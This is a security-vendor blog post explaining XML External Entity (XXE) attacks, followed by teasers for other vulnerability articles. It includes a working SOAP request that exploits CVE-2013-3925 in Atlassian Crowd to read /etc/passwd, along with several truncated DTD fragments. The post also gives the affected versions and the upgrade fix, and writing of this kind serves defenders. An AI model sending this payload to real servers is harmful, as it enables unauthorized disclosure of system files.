SecPod

Learn Search

Search across all Learn content

← Back to Security Research
Xml eXternal Entity (XXE) Attack

Xml eXternal Entity (XXE) Attack

XXE attack is an attack on an application that parses XML input from untrusted sources using an incorrectly configured XML parser. A Vulnerability Management Software can stop these attacks.

Jan 11, 2014By Thanga Prakash3 min read

XXE attack is an attack on an application that parses XML input from untrusted sources using an incorrectly configured XML parser. A Vulnerability Management Software can stop these attacks.

XML External Entities attacks benefit from an XML feature to dynamically build documents during processing. An XML entity allows to include data dynamically from a given resource or an external URI(Uniform Resource Identifier). A good vulnerability management tool can help to combat these vulnerabilities.

Below is an example that uses DTD (Document Type Definition) Entity:

</free> <paid> </paid> </product>

When the entity is found to be external, and the XML processor is not attempting to validate the XML document, the XML processor may, but need not, include the entity’s replacement text which forces the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote system.

This behavior exposes the application to XML External Entity (XXE) attacks, which can cause denial of service to the local/remote systems, gain unauthorized access to files on the local machine, and allow scanning of remote machines.

Disclosing a Local file on Linux machine:

]> <foo>&xxe;</foo>

Denial of Service (DoS) Attack (XML bomb or Billion laughs or Exponential Entity Expansion Attack):

]> <lolz>&lol9;</lolz>

Below is a detailed working example of accessing a local file (/etc/passwd) on a Linux system using XXE Injection where Atlassian Crowd is installed.

Atlassian Crowd is affecting itself by Xml eXternal Entity (XXE) Injection Vulnerability (CVE-2013-3925)Affected Versions : Atlassian Crowd 2.5.x before 2.5.4, 2.6.x before 2.6.3, 2.3.8, and 2.4.9Solution     : Upgrade to version 2.5.4, 2.6.3, 2.7 or higher.Tested on  : Atlassian Crowd version 2.6.2 (Linux)

Send a normal GET request to an affected file
GET /crowd/services/2/ HTTP/1.1
Host: [Host]:8095
Connection: keep-alive

Now if the response has “Invalid SOAP request“, which means it is able to execute SOAP request.

SOAP Responce
SOAP Responce

Now we need to construct a Malformed POST request to read a local file:

POST /crowd/services/2/ HTTP/1.1 Host: [HOST]:8095 User-Agent: Mozilla/4.0 SOAPAction: “” Content-Type: text/xml; charset=UTF-8 Content-Length: 545 <!DOCTYPE x [ <!ENTITY file SYSTEM “file:///etc/passwd”> ]><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”> <s:Body> <authenticateApplication xmlns=”urn:SecurityServer”> <in0 xmlns:a=”http://authentication.integration.crowd.atlassian.com” xmlns:i=”http://www.w3.org/2001/XMLSchema-instance”> <a:credential> <a:credential>password</a:credential> <a:encryptedCredential>&file;</a:encryptedCredential> </a:credential> <a:name>username</a:name> <a:validationFactors i:nil=”true”/> </in0> </authenticateApplication> </s:Body></s:Envelope>

Atlassian Malformed Request
Atlassian Malformed Request


The above request will allow us to access the restricted files on the system.

Detect this vulnerability with SanerNow Vulnerability Management and patch it instantly with SanerNow Patch Management.

Featured Posts

Open Operation CameraSwarm: Inside the Toolkit Behind 14,530 Compromised Dahua Cameras
Operation CameraSwarm: Inside the Toolkit Behind 14,530 Compromised Dahua Cameras

CVE Research

Operation CameraSwarm: Inside the Toolkit Behind 14,530 Compromised Dahua Cameras

A single operator compromised 14,530+ Dahua cameras across Ukraine and Russia in 35 days, chaining credential brute-force, a CVE-2021-33044/33045 authentication bypass, and P2P relay abuse to plant a persistent backdoor and harvest transferable admin access.

Aug 21, 2026

Open Critical GitLab Flaw Exposes Public Projects to Deletion — Two CVEs Patched, Including High-Severity CSRF
Critical GitLab Flaw Exposes Public Projects to Deletion — Two CVEs Patched, Including High-Severity CSRF

CVE Research

Critical GitLab Flaw Exposes Public Projects to Deletion — Two CVEs Patched, Including High-Severity CSRF

CVE-2026-19478 is a critical code injection vulnerability in GitLab CE/EE that allows an unauthenticated attacker to modify or delete public projects and user data by abusing a GraphQL directive. A second high-severity issue, CVE-2026-19650, involves cross-site request forgery in the GraphQL multiplex query handler. This article examines how the critical vulnerability works, the availability of a public proof-of-concept, the potential impact on self-managed instances, the affected versions, and the security updates released to remediate both issues.

Aug 19, 2026

Open No Password Needed: macOS Screen Sharing Flaw (CVE-2026-65400) Used to Deploy Monero Miners
No Password Needed: macOS Screen Sharing Flaw (CVE-2026-65400) Used to Deploy Monero Miners

CVE Research

No Password Needed: macOS Screen Sharing Flaw (CVE-2026-65400) Used to Deploy Monero Miners

Aug 19, 2026

Open Evooo1Bot: Mirai-Based Linux Botnet Turns Edge Devices Into SOCKS5 Proxies
Evooo1Bot: Mirai-Based Linux Botnet Turns Edge Devices Into SOCKS5 Proxies

CVE Research

Evooo1Bot: Mirai-Based Linux Botnet Turns Edge Devices Into SOCKS5 Proxies

Aug 19, 2026